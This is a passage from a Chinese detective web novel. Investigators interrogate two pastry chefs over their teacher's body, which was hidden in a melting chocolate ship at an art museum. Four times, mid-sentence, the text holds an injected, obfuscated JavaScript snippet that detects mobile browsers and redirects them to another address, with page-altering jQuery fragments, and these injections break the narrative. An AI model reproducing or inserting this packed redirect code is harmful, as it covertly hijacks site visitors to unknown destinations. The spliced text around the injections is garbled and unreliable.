亚瑟拍了拍阿莉雅的脑袋:“走吧,去旁听一下□□先生的人际关系,说不定就有你需要的线索。” 阿莉雅点头,拄着雨伞往前走,前进的过程中撞进一个人的怀里。 “?”阿莉雅疑惑地摸着此人的双手,随后转身离开,“既然看见我走错路了,就出声提醒我一下啊。” 亚瑟把刚刚拍下的阿莉雅犯蠢的照片收进怀里:“抱歉抱歉,因为我还没反应过来你就撞进雕塑的怀里了。” 吉尔探员奇怪:“我记得几天前,这里只有两座雕像,今天怎么又多了一座?” 馆长巴里先生听见他们的对话,解释:“前些天美术馆不是一直发生奇怪的事情吗?虽然后来知道是恶作剧,但有的员工比较用心,就预定了一座据说可以驱散厄运的雕塑。我觉得摆在这个永昼与黑夜之间刚好。”刚好能驱散雕塑上的诅咒,但结果却…… “说起来,刚刚还没来得及问巴里先生。”亚瑟指着那座巧克力帆船问,“为什么这个帆船会出现在二楼的永昼与黑夜之间?作为甜点大赛的开幕甜品,这个帆船被放置在一楼才更安全吧?” 警探先生也转过头,用眼神等待着巴里先生的答案。 “这是□□自己的选的房间。”巴里先生惆怅,“他说需要一个足够大并且不会有人来来往往打扰他的房间。” “美术馆没有其他合适的房间吗?” “因为前段时间的事情,展品都被集中存放在二楼的各个房间。一楼有合适的房间,但□□不愿意用。”巴里先生回忆道,“他好像说过,要在甜点比赛开始前进行最后的细化。” “□□老师一向喜欢这样。”一位戴着厨师帽的男性开口,“房间必须选择最高处的,甜点必须要在最后一刻端上桌。” “杰罗姆·帕克,□□的学生,同时也是今天的评委。”警探简单介绍这位说话的青年。 “甜点必须要在最后一刻端上桌?”阿莉雅扬起眉毛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15231390|164709||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,“最后一刻是指开幕前的最后一刻?” “因为老师他很喜欢摆架子啦。”同样戴着厨师帽围着蓝领巾的女性摇着手指说,“选在二楼的房间也是因为我们同样也要借用美术馆的房间存放开幕用的甜品,他在二楼就能把我们都踩在脚下了。” “最后一位登场的才是所有人关注的核心。”杰罗姆·帕克补充,“老师喜欢被人注目的感觉,不管是甜品还是他本人都必须是全场的焦点。” “像今天这样在开场前一个小时玩失踪也是很正常的。”女性拍了拍自己的袖口,“毕竟是大牌嘛。” 巴里先生眯起眼睛:“所以你们两位在主办方拜托帮忙找人时说不用担心,原来是这个意思。” “多莉丝·艾勒,也是□□的学生,是今天比赛的参加者。”警探介绍了那位厨师帽蓝领巾女性的身份,“这两位是我们排查过的,和死者有交际且在死者失踪后的一段时间没有不在场证明的嫌疑人。” “其他员工在最后的半小时都忙着商量解决方案,往前推半个小时,他们在寻人的过程中也相互撞见,交叉对比口供后确认没有嫌疑。”警探先生手下的探员做事准确又迅速,在一轮轮排查后就剩下这两个既和死者关系匪浅,又有作案时间的嫌疑人了。 阿莉雅的手指敲了敲雨伞的手柄:“诶——两个人都没有不在场证明啊……”她拖长的尾音,像是猫咪给老鼠布下陷阱后放出的诱饵。 话音一转:“多莉丝小姐是不是很讨厌你的老师啊,听你刚才的形容,似乎都没有对老师的正面评价。” 阿莉雅打了个响指:“好,决定了,我来询问你。”她说完决定才去寻求许可,“可以的吧,警探先生?” “额,可以是可以。”警探有些纠结,“但我们……必须得有一名当地的警方人员在场。”希望这位在探案时格外任性的大小姐能够稍微注意遵守下各地的规则。 “好,那就吉尔探员和我一起。”阿莉雅爽快答应,“亚瑟和警探先生一起。” 对于妹妹擅自给自己安排了工作一事,亚瑟·科洛桑接受良好。不如说,他已经习惯了。不管是妈妈吉娜还是姐姐夏洛特,都会像阿莉雅一样使唤自己协助调查案件。 也幸好妈妈吉娜的基因强大,科洛桑家的三个孩子在推理方面都有些天赋——虽然亚瑟的天赋是最低的。 “吉尔探员。”亚瑟拍了拍年轻探员的肩,“希望不要再出现那天晚上的事情,你应该明白我的意思吧?”语气不免有些咬牙切齿,“就算是阿莉雅主动的,也应该立刻、马上拒绝。” “哈、哈哈……”吉尔探员干笑,“我会努力的。” 他也不想的!那天是阿莉雅太突然了! “吉尔探员,跟上。”阿莉雅不耐烦地用雨伞敲敲地板,“作为探员,麻烦工作认真一点。” “好的、好的。”吉尔探员心里有苦说不出来。 询问必须分开,所以阿莉雅和吉尔去了另一个房间。 “其实杰罗姆·帕克才是最恨□□的。” 26. 永昼与黑夜之间·第五幕 “其实杰罗姆·帕克才是最恨□□的。”阿莉雅出其不意地开口。 对面的多莉丝·艾勒愣住,似乎没想到眼前的人会这么说。她很快收敛好脸上的情绪:“这个……杰罗姆确实和老师有些矛盾,但我觉得不至于杀了他。” “我没说人是他杀的。”阿莉雅摆手,“好吧,那你来说说那位杰罗姆先生和死者之间的矛盾吧。” 多莉丝·艾勒面露迟疑:“这个……” 吉尔探员向她点头:“请直说吧,说不定能够洗清你们的嫌疑。” “好。”多莉丝·艾勒深吸一口气,“□□老师的作品……从两年前开始就一直是杰罗姆代替制作的了。” “我从两年前开始替杰罗姆制作甜品。” 永昼与黑夜之间,杰罗姆·帕克一脸坦然地面对质疑,他的眼睛扫过□□的尸体,又若无其事地收回了眼神:“我确实恨他,但是并没有一定要动手的理由。” “请详细说明。”警探示意他继续。 “说白了,我其实只想要钱。□□在我每次完成制作后都会给我一大笔钱作为补偿,这次也不例外。”杰罗姆说得很是诚恳,“我这次还没收到钱呢,就算真的想杀他也应该在拿到补偿金之后吧。” 听上去很合理,但亚瑟对此还有个疑问:“那么,□□每次都要在最后细化甜品的那段时间,究竟是你去做还是他亲自动的手?” “是他亲自动的手。”杰罗姆指着那艘巧克力制成的帆船,“框架和大部分细节都是由我完成的,只不过老师会留下自己动过手的痕迹在那上面,例如签名。” 说完,仿佛能猜到他们的下一句追问,杰罗姆又补充:“不过我也不知道这次他留下了什么痕迹。” “□□为什么要让你来替他制作甜品,是因为你的技术更好吗?”警探问。 “不是。”杰罗姆摇头,“在甜品这一方面,我远远比不上老师。但我很擅长雕刻。” 馆长巴里先生想起了什么:“哦,我记得也是从两年前开始,□□突然就变得有名了。就是因为一个艺术甜品,好像是叫……” “繁星落幕。”多莉丝·艾勒说,“那个艺术甜品是杰罗姆的点子,老师复现了出来。在那之后,□□老师名声大噪,许多甜点比赛都希望能够邀请他制作开幕展示用的艺术甜品。” “但老师一没有那么有趣的点子,二对于艺术毫无天赋,所以就让能够想出繁星落幕的杰罗姆去制作。”多莉丝·艾勒说,“虽然听上去,杰罗姆和老师有很深的矛盾,但杰罗姆只喜欢钱。” “这样真的好吗?”阿莉雅歪着头,“你这样说的话,嫌疑都在你身上了。” “我说的是事实。”多莉丝·艾勒毫不慌乱,“而且我和老师的矛盾也没有大到必须要杀人才能解决的地步。” “我只是希望老师能够让我也加入艺术甜品的制作而已。” 吉尔探员在一旁暗自称奇,他还是第一次见这种会主动要求做对自己完全没有好处的工作的人。 阿莉雅也同感:“你竟然愿意做这种既不能精进技能又没有任何利益的事。” 艺术甜品和甜品就是两回事,前者讲究美观和艺术性,后者最关键的只有美味。任谁都不会觉得摆在隔壁房间的巧克力帆船在制作的过程中还会讲究口感吧。 “才不会!”多莉丝·艾勒很认真地反驳,“即使只是展示用,杰罗姆也会在调味上下功夫——虽然他在这方面完全没有天赋。” 也就是说,那艘巧克力帆船确实不会好吃。虽然现在也没人会想吃,毕竟已经成为证物了。 “你和杰罗姆的关系很好?”阿莉雅好奇,“你的发言几乎都在维护他。” 多莉丝·艾勒支支吾吾说不出话来。 吉尔探员倾身小声说:“是喜欢吧。” “哼。”阿莉雅把他的脑袋推开,手指顺着他的肩向下,搭在脉搏上,“多莉丝·艾勒小姐,虽然我多少也能猜到你对杰罗姆的感情,但是,恕我直言,那位杰罗姆先生对你可毫无感觉啊。” “我和多莉丝只是同样在老师手下学习的关系。”杰罗姆说,“她很擅长调味,甚至能够根据不同评委的口味偏好,单独烹调合适的果酱。” “那你知道那位小姐和死者有什么矛盾吗?” “当然,那两人的矛盾最近越来越趋向不可调和的状态了。”杰罗姆皱眉,“我们刚抵达布谷鸟市的当晚,他们就在我们居住的酒店走廊上大吵了一架。” “是因为什么事情?” “是因为比赛的事。”杰罗姆回忆道,“在来这之前,多莉丝也参加过一次甜点的比赛。那次是在齿轮市,老师作为评委只给了她九十分,输给了当地的一家面包店老板。” 啊,是在说谢德吧。亚瑟反应过来。在阿莉雅失忆之前,有从她那里听说过“谢德带着他的弟弟妹妹又赢了一次比赛”这样的话。 “多莉丝觉得是老师对她太严格了,比对别人的评价标准严苛得多。所以他们那晚上又因为这次比赛的评分吵了起来。多莉丝希望老师能够宽松下对她的标准,□□老师觉得是她的水平问题。” 警探用手肘戳了戳亚瑟:“会是因为这个杀人吗?” 亚瑟摇头:“不太可能。” 如果真是因为比赛的问题,又怎么会选在比赛的当天,甚至在比赛开始前动手?这么做的结果只会是缺席一场比赛。 “杰罗姆先生,你觉得你的老师□□是个怎样的人?” “爱出风头、小有天赋的人。”杰罗姆不假思索,“比起甜点,我觉得他在营销上更有天赋。” “多莉丝小姐,你觉得你的老师□□是个怎样的人?”同一时间,阿莉雅也在问这个问题。科洛桑家的孩子思路格外一致。 “爱摆架子、想要注目,我觉得对老师来说,他可能更适合在舞台上演戏吧。”多莉丝·艾勒稍加思索后给出了回答,“他在甜点上的天赋平平,不然也不至于在繁星落幕那道甜点问世后才开始有名气。” 吉尔探员问:“刚刚我就很好奇了,繁星落幕究竟是怎样的一道甜点?为什么能让死者从无人问津的状态一下子成为各个甜点比赛的邀请嘉宾?” 多莉丝答:“在繁星落幕之 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15243378|164709||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 前,还没有人尝试过将甜点和艺术结合在一起。在两年前或许是很特别的存在,但放在今日,繁星落幕只能算是一道普通的甜品。” “只是在外表上下了些功夫,在蓝莓蛋糕上利用奶油和果酱作画,画出了星光划落天空如同谢幕一般的景色。”多莉丝现在想起来还是觉得意外,“那竟然是老师完成的,真是不可思议。” “为什么这么说?” “因为老师他根本不会画画。”多莉丝说,“所以我到现在仍然对那道甜点是谁完成而困惑,感觉更像是杰罗姆完成的。” “如果是杰罗姆完成的,□□完全不用隐瞒吧。”阿莉雅打了个哈欠,有点困,“制作者就是□□,不用怀疑。” “那么,最后一个问题。”阿莉雅坐直身子,“你确定你向我所说的一切都是真实的吗?” “当然。”多莉丝觉得奇怪,“我说的都是实话。” 摸着下巴默默思考了会儿,阿莉雅松开手握着伞柄站起:“差不多到时间了,去问问尸体上的线索吧。” 法医的工作因为融化的巧克力进展比较缓慢,阿莉雅渡步到房间边缘,用雨伞到处敲敲碰碰。 吉尔探员跟上她的脚步:“阿莉雅小姐,你在找什么?” “找控制温度的开关。”阿莉雅继续着动作,“这里比我上次来要热一点。甜点放置在这里肯定也会考虑温度的影响,在我们进来前巧克力就已经开始了融化,说明有人特意调高了温度。” “巴里先生——调节温度的开关在哪里?”吉尔探员想了想还是直接去问这里的馆长。 “我想想。”巴里先生当即皱眉回忆,“额……这样吧,我的办公室有这里的布局图,你跟我一起去拿。” “好的。” 另一边,阿莉雅又一次撞进雕像的怀里。她疑惑地摸着总是挡路的雕塑:“这个感觉好像真人啊。” 亚瑟走过来像抱猫咪一样把她挪到一边:“这个雕像究竟有什么魅力,你怎么总是撞人家。” “不过这个确实很逼真呢。”亚瑟也忍不住端详,“就连手指的截断面都像真的一样呢。” 阿莉雅转头问他:“你见过断指吗?” “之前和夏洛特处理的一件案子里见过。”亚瑟心有戚戚,“哇,你不知道她有多过分,当时没有法医在场,她竟然让我去上手验尸诶!” 作为画家,亚瑟对人体构造有一定的了解。而在妈妈吉娜从小的灌输下,临时替代法医的位置也没有任何问题——最重要的是,当时夏洛特要去抓人,不然她也能自己来。 “这个横截面啊,看起来手指是被刀具切割的。”亚瑟判断,“创作这个雕像的恐怕是有医学相关知识的人。” 阿莉雅撇嘴:“我去找控制温度的开关。”眼前的案子更重要。 亚瑟忙追上她:“我陪你一起。” 明明是这么说的,结果只是阿莉雅思考的功夫,亚瑟又跑到一边:“从这里看恩底弥翁的雕像又是另一种感觉呢,哎呀,不愧是哲耳斯大师的作品……” 还是谢德更好用啊。阿莉雅不禁这么想。 27. 永昼与黑夜之间·第六幕 “控制温度的开关在地板下。”巴里先生拿着图纸回到了案发现场,“就在……咦,刚好在这座雕像下。” “提问!”阿莉雅举手,“这个雕像之前就在这个位置吗?” 巴里先生眯起眼睛回忆:“嗯……要说方位大概就在这附近,但是具体是不是在这块地板上……我确实记不清了。” 他揉揉眉心:“最近发生的事情实在太多,我总有些混乱。” 在场的人都能够理解这位老人家。毕竟他们也是亲眼目睹了这座多灾多难的美术馆里发生的事情。 “雕像有多重?” 亚瑟伸手试图推开这座雕像:“额——呼、呼,完全搬不动啊。” “是亚瑟你缺乏锻炼吧。”阿莉雅吐槽。 “雕像啊,我也不清楚重量,这是我家员工负责的部分。”巴里先生摸了摸光溜溜的脑袋,“不过我们搬运物品的货梯承重在300kg,阿波罗和恩底弥翁的雕像都在近300kg。” 吉尔探员也上手推着尝试,随后摇头:“这个大约有150kg往上,里面是实心的。” 最后是吉尔探员、亚瑟以及警探三个人一起推开的雕像,地板下隐藏着一个可以调节温度的旋钮。 “往左最高能调到45℃,往右最低是-5℃。现在的温度是在23℃。” 巴里先生摇头:“之前我们控制在15℃,是巴特先生特意强调的。” “是谁调节的温度?”阿莉雅问。 “我记得是,啊,就是送来这座雕像的员工,他叫做米尔顿·吉斯。”担心员工被放进嫌疑人候选中,巴里先生连忙强调,“那孩子是在周六白天就提前做好了准备工作的,当时巴特的两个学生也在场。这两天因为美术馆不开业,所以那孩子也没有来上班。” 阿莉雅能听懂潜台词:米尔顿·吉斯至少有四天没有来过美术馆,没有作案的可能。 “也就是说,杰罗姆·帕克和多莉丝·艾勒当时在场,且知道这里的地板下有控制温度的旋钮。”阿莉雅挑眉,“那么只剩最后一个问题了,需要三个人合力推开的雕像,这两人要怎么挪开?” “大理石的地板表面十分光滑,但是想要挪动并不容易。”吉尔探员点着唇角思考,“虽然也有垫上毛毯拉动这样的办法,恐怕在第一步,如何把毛毯放置在雕塑下,就困住了。” “撬棍抬起或许可行,但是那样花费的时间有些过长了。”亚瑟摇头,“没必要为了这个增加被人目击的风险,而且一个人操作有些困难。” 阿莉雅再次举手提问:“这个雕塑是完全贴地的吗?” “这个嘛……”巴里先生也不知道。 吉尔探员不知道从哪摸出一张扑克牌,对着雕像的底部尝试插入:“是空的,这个底座四周贴地,但内部有一定的空隙。” “哦,那就简单了。”阿莉雅因为解开了这个小谜题心情愉悦了起来,“木棍和毛毯。” “啊!”亚瑟也明白了,“是用毛毯缠在木棍上,然后慢慢推进去这个办法吧。” “美术馆里也不缺木棍,隔壁的房间我刚刚就有看见。”吉尔探员点头。 警探先生开口:“等下,能够具体说明下这个操作的过程吗?” “将毛毯卷在木棍上,之后把木棍的一端推进雕塑的底部,直到木棍从另一侧露出来,接下来只要取出木棍就好。”亚瑟简单描述了一下,“就像蛋糕卷一样地卷起来,毛毯足够长可以在两侧调整状态,接下来只要拉着一边的毛毯就可以轻松挪动雕像了。” “可是美术馆里没有毛毯。”巴里先生提醒,“警方有搜到吗?” 阿莉雅沉默了几秒:“嗯,好像没有呢。” 不过她又补上一句:“就算不用毛毯,两根木棍也足够了,甚至要更简单一些。” “啊哈哈,是我突然想到毛毯误导了阿莉雅小姐。”吉尔探员不好意思地干笑。 这个小插曲并不影响后续的推理。 “木棍、或者木板,都能做到。这样的话好像也不能排除两位的嫌疑。”警探先生看向一旁的两位嫌疑人,“你们有什么能够补充的信息吗?” 两人对视一眼很快互相扭过头:“没有。” “小莉雅。”亚瑟悄悄凑到阿莉雅旁边,“那两个人的关系看起来好像不是很好。” “诶?但是多莉丝·艾勒小姐不是喜欢杰罗姆先生吗?”吉尔探员也凑过来小声讨论,“怎么可能关系不好?” “这就是矛盾啊。”阿莉雅理着思路,“不仅是他们两个人的关系,尸体上的痕迹也很矛盾。” “死者是一刀毙命,只有胸口处的一个伤口。腿部被折起扭曲却没有血液流出,说明是在死后一段时间才回来处理的。” “这里的隔音好像也不错。”吉尔探员说,“就算死者受伤倒下也不会引人过来。” 亚瑟:“可是血液只有巧克力帆船上有,地板上一点痕迹都没留下。总不可能死者当时就在帆船上吧,他会糟蹋即将要登场的甜点吗?” “只有帆船上有的血液啊……”阿莉雅重复念着,“只有帆船……帆船……巧克力……血液……啊!” 她问:“巧克力有融化在地板上吗?” 吉尔探员:“有的,帆船前那一片都是。” “原来如此,所以特地调节了温度加快巧克力融化的速度啊。”阿莉雅露出笑容,“只要血液和巧克力混在一起,就没办法辨认出死者原本倒下的位置了。” “所以是前后一起?不、不对,应该是……”阿莉雅陷入思考。 “好像只是想清楚了手法,还没确定凶手是谁。”亚瑟观察了一下自己妹妹的表情,作出了判断。 吉尔探员奇怪地看了他一眼:“这也能看出来吗?” “如果阿莉雅想明白一切就会露出小猫哼哼的得意表情。如果只是确认了凶手,那么就会气势汹汹地去到处摸证据印证。剩下的就是这样的状态了。”亚瑟对于养猫,不是,对于阿莉雅的表情有自己的理解。并且这份理解已经得到了科洛桑家以及目前的临时养猫人谢德·道格的认可。 “很可爱吧!”亚瑟也露出得意的表情。吉尔探员大概也能想象出“小猫哼哼”的样子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15255627|164709||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了。 警探先生见案情胶着,只能再次进行询问:“那么两位,请重新复述一遍今天的行动路线。” 多莉丝·艾勒:“和老师一起到达场地后,我就去参赛人员的等候区了。那里人很多,但应该有人看见过我。” 杰罗姆·帕克:“因为我的甜品展示在老师前面,所以我一到场就进入美术馆一楼的房间去查看甜品的状态,确认没有问题后我就等在房间里,直到有工作人员来找我说了老师不见的事。” “我告诉工作人员这种事情很常见不用担心,就继续呆在房间里等人来叫我。” 吉尔探员补充:“等候区确实有人看见过多莉丝·艾勒小姐,但是没人可以证明她一直在场。大多数人都在紧张今天的比赛,不会一直盯着陌生人看。” “杰罗姆·帕克先生的证词得到了工作人员的印证,但是只能证明在那一小段时间他在房间。” “还差点什么。”阿莉雅想了想,“两位请再次描述对死者巴特先生的看法。” 多莉丝·艾勒叹气:“又来?好吧,我觉得老师并不适合做甜点,他更适合当个演员,这样能够享受到他喜欢的灯光、鲜花还有掌声。” “老师很爱出风头,但他有些天赋,适合营销的工作。”杰罗姆·帕克说。 “好吧,你们都不说实话。”阿莉雅摊手,“那就换个问法,你们赞同对方更可能杀了巴特的说法吗?” “哈?这不可能!”多莉丝·艾勒反驳。 “我不否认这个可能性。”杰罗姆·帕克淡淡说道。 听见心上人的说法,多莉丝·艾勒仿佛被刺痛般,她震惊地看向对面的人:“你在说什么杰罗姆?我为什么要伤害老师?” “你们不久前才大吵一架。”杰罗姆提醒她,“而且你们吵架的原因甚至可能会在今天再次上演。” “杰罗姆先生的意思是,多莉丝小姐可能会在今天比赛开始前再去请求巴特放宽评分的标准。遭到拒绝后恼羞成怒一刀杀害了他。”阿莉雅温馨提示。 多莉丝胸口起伏不定,她跺脚怒吼:“你竟然这么说我?那你呢?你觉得自己就很干净吗?” 吼完,似乎把恋心和愤懑一同发泄了出去,多莉丝冷笑:“你不是也欠了一大笔钱,每天都哀求巴特多发你一点钱吗?你以为我不知道?” 杰罗姆在她说完后皱眉:“喂,你……” 多莉丝瞪他一眼,转身跑向阿莉雅那边:“我要自首!我犯了侮辱尸体罪,老师的那副模样是我干的!” 她一口气说完后又狠狠指向杰罗姆的方位:“但是!杀人的是那个家伙!” “你在胡说什么!”杰罗姆瞪大眼睛,“杀人的不是你这个女人吗?我好心帮你处理了尸体,竟然反过来咬我!” “怎么办阿莉雅小姐?”吉尔探员寻求帮助,“这两个人好像快要打起来了。” 阿莉雅:“人在情绪激烈的情况下,很容易脱口而出自己的心里话。” 换句话就是:“打起来打起来!让他们打!反正犯人就在他们两个中间,看看他们谁先说漏嘴!” 28. 永昼与黑夜之间·第七幕 鉴于两人互相指认对方是凶手,使得案情更加复杂——至少警探先生是这么认为的。 “两位,既然你们执意宣称自己只是犯下侮辱尸体的罪行,不如说说你们是怎么做且为什么这样做吧。”警探先生按住两人,让他们保持一定距离。 “哈,我先说。”多莉丝·艾勒撩起头发,“我来到这里的时候,看见巴特老师的尸体已经倒在地上。当时我就想明白了,是杰罗姆做的。” “当时为什么不报警?”警探厉声问,“你这样是在包庇罪犯。” 多莉丝:“那时候我还没认清杰罗姆就是个自私自利的小人,我对他还抱有恋慕的情感。” “我帮他做了点掩盖,搬动了尸体,调低了房间的温度让巧克力和原本流在地板的血液混在一起,只为了混淆真正的案发现场。” “那么,杰罗姆先生呢?”警探转头看向他。 杰罗姆啧了一声:“不要听那个女人胡扯,她才是犯人。我才是后面进到房间的那个,看到躺在地板上的尸体后我就知道多莉丝是凶手。她对老师积怨已久。” “你这是污蔑!我一直很敬重老师!” “开什么玩笑?那天你们在走廊上的争吵我可都听得一清二楚。” “够了。”警探喝止,“多莉丝·艾勒小姐,麻烦你耐心等待他说完。杰罗姆·帕克先生,也请你不要在描述中夹杂对多莉丝小姐的主观情绪。” “嘁。”杰罗姆不快,“知道了知道了。” 他翻了个白眼继续:“在看到尸体后我就觉得是个好机会。巴特老师作为嘉宾的出场费远远没有参赛冠军获得的奖金高,如果我能以此威胁多莉丝,就能摆脱做苦工换钱的生活,可以悠闲度日了。” “哇,是人渣。”阿莉雅很惊奇,“还是能够直率说出自己想法的人渣。” “咳咳,小莉雅。”亚瑟提醒,“虽然你说得没错,但用词可以委婉些。比起人渣这种词,败类或许更合适。” “我觉得你们两位的用词都很直接……”吉尔探员无奈。 杰罗姆·帕克的心理素质十分强劲,科洛桑兄妹的话对他完全没有影响。他没有理会两人,继续说:“于是我把尸体放进了巧克力帆船中,然后调低了室内的温度。原本的设想是巧克力完全融化,把尸体变得黏黏糊糊的,结果发现尸体的时间比我想象的要早。” “两个人的说法都差不多,但是杰罗姆先生的描述更详细。”警探先生思索,“所以犯人果然是……”他扭头看向多莉丝。 “警探先生,您不能就凭这点判断我是凶手啊!”多莉丝十分委屈,“难道凶器上一点线索都没有吗?” “这个……”警探哽住,倒不是没有线索,而是眼前这两个嫌疑人的指纹都在那把小刀上。核对了比赛现场中的厨具,少的那把就是死者的,这也是为什么警方迅速将嫌疑人锁定在这两人之中的原因。 阿莉雅戳了戳亚瑟的肩:“那两个人都带手套了吗?” “嗯?手套?”亚瑟迅速扫过两人的手,“都戴了,怎么了?” “你们制作甜点的时候也会戴手套吗?”阿莉雅问。 杰罗姆:“这个看个人习惯,我是只有在制作复杂的甜品,比如这个巧克力帆船,才会戴上。因为巧克力凝固很快,一不小心就会留下指纹,破坏成品。” 多莉丝:“我一直都戴着。为了保持甜点制作过程的干净卫生需要经常洗手。过于频繁的清洗会让手变得粗糙,所以我会戴上手套。” 阿莉雅苦恼地拧眉:“关键证据……好像不够充分呢。”至少不够说服她自己。 她在原地转了个圈,拄着雨伞往巧克力帆船的位置走去。 靠近香甜和血腥夹杂的浓郁的案发现场,阿莉雅半蹲在原地询问还在取证的鉴识人员:“现场还有其他指纹的残留或者不自然的地方吗?” “是的,帆船的桅杆似乎做成了可拆卸的样式。”鉴识人员刚才一直在研究桅杆,“因为尸体靠着的区域融化了,所以露出了里面的木棍。” “什么样式?多长?厚度如何?” “是长方形,大约三英尺长(100厘米),厚度的话……”鉴识人员瞄了一眼警探所在的位置,“不是能塞进那座雕像下的厚度。” “能取出来吗?木棍。”阿莉雅问,“现场的照片也已经有留存了,确认下案发现场的构造没问题吧?” “啊,当然。”原本也该进行这一步了,所以鉴识人员没有异议,“只要确认木棍就可以了吗?” “还有帆布。”阿莉雅托腮,“明明巧克力都开始融化了,但是制作成帆布的巧克力竟然还没有掉下来。” 小心翼翼取出桅杆,摆放在地上开始检查的鉴识人员惊呼:“天!” “阿莉雅小姐,这里果然有问题!”鉴识人员用手摸着帆布,“这不是巧克力,这是卡纸,似乎用了什么方法定型成了随风飞舞的样子。” 阿莉雅点头:“嗯,我觉得也是。”但是还不够,还是不够,能够让犯人走上断罪台的证据究竟被藏在了哪里? 吉尔探员凑了过来:“按照米德戴联盟的法律,现有的证据足够结案了,阿莉雅小姐。” “你是说目击者、凶器还有动机这三点吗?”阿莉雅不这么想,“目击者和第一发现者还是有区别的,一个是亲眼见证了罪行,一个是第一个发现了尸体的人。凶器上有指纹这点也能有合理的解释,毕竟死者和他们是师生关系,有指纹并不奇怪。” “真是严格呀。”吉尔探员感叹,“按照法律只需要目击者和凶器二者其一就算充分的直接证据了。” “我倒是不追求完美的举证和推理,但也不希望过于草率的下结论冤枉人。”阿莉雅的脸皱成一团,“至少要让凶手辩无可辩才算合格的推理吧。” “阿莉雅小姐,通常我们会把这种拥有这种心理的人称作‘完美主义’。” “我可不是。”阿莉雅借着雨伞撑直了身子,“嗯,不过我有了些思路。” 她步伐轻快地回到僵持中的几人身边:“我很好奇,两位在处理尸体的过程中是怎么做到保持身上干净整洁的。” “啊,这个啊。”杰罗姆拍了拍衣服,“虽然会留下些脏污,不过我的围裙上一直都有各种甜点留下的痕迹,所以看起来不太显眼罢了。” 多莉丝笑笑:“我是把围裙反穿了,当时调整尸体位置的时候可是沾上了不少血迹 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15269686|164709||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 呢。” 此话一出,所有人都将目光看向了她。 “怎、怎么了?”多莉丝吞咽口水,“有什么问题吗?” 警探眯起眼睛:“血迹?” “是、是啊,他不是流了很多血吗?”多莉丝一时不知道看谁,最后将目光挪到背对着她的阿莉雅的后脑勺上,“一直在流,可吓人了……” “哼。”杰罗姆冷笑,“我早说了,这个女人就是凶手。我处理尸体的时候,巴特的血可早就干了。” “说什么呢,老师的尸体上可全都是血!”多莉丝还想为自己辩驳,“所以我的围裙上才会沾到……” “多莉丝·艾勒小姐,你可能不太清楚,也可能是不在意这件事。死者的腿骨是被暴力弯折塞进帆船的破洞内的,里面毫无血迹。换句话说,在从犯处理尸体的时候,死者的血已经干涸了。”警探用严厉的目光审视她。 “这、这很难理解吗?我是先调节的温度,才去处理的腿部。只不过是手忙脚乱一点而已。” “警探先生的意思是,如果你将死者摆成坐立的姿势,那么血液会随着重力向下流,帆船内一定会留有痕迹。”阿莉雅好心解释,“前提是那会儿他的血还没干。” “她就是犯人,直接抓了不就好?”杰罗姆觉得这些警方人员真是磨磨蹭蹭。 “那又如何?我也可以先去查看老师的尸体,在那时沾上血迹,之后又调整温度……” “还真是顽固啊。”亚瑟感叹。 “大概就是犯人的垂死挣扎吧。”阿莉雅摊手,“我刚刚听见手铐的声音了,警探先生已经抓捕她了吗?” “对。不过你是怎么想到要问那个问题的?” “保持干净整洁的那个?”阿莉雅晃晃脑袋,“是因为巧克力帆船啦。我当时就觉得有些地方很别扭,明明是以破损的帆船为主题,但是船帆和桅杆却完全没有损坏。” “现在想想,那个破洞才是杰罗姆后来添上去的,至于目的——大概是对自己作品的一点追求?”把巴特的尸体搬上帆船或许是有威胁多莉丝的意思,不过更多的还是在看到尸体后临时起意吧。 想要替多莉丝掩饰罪行还有很多种办法,比如事先对好口供,证明她没有作案时间。 “杰罗姆挪动雕像的道具就是船帆和桅杆,因为只有他最熟悉自己的作品。但不管怎么说,桅杆的外面还是裹上了巧克力的,所以我就会联想到凶手在用刀刺向死者时的血迹。” 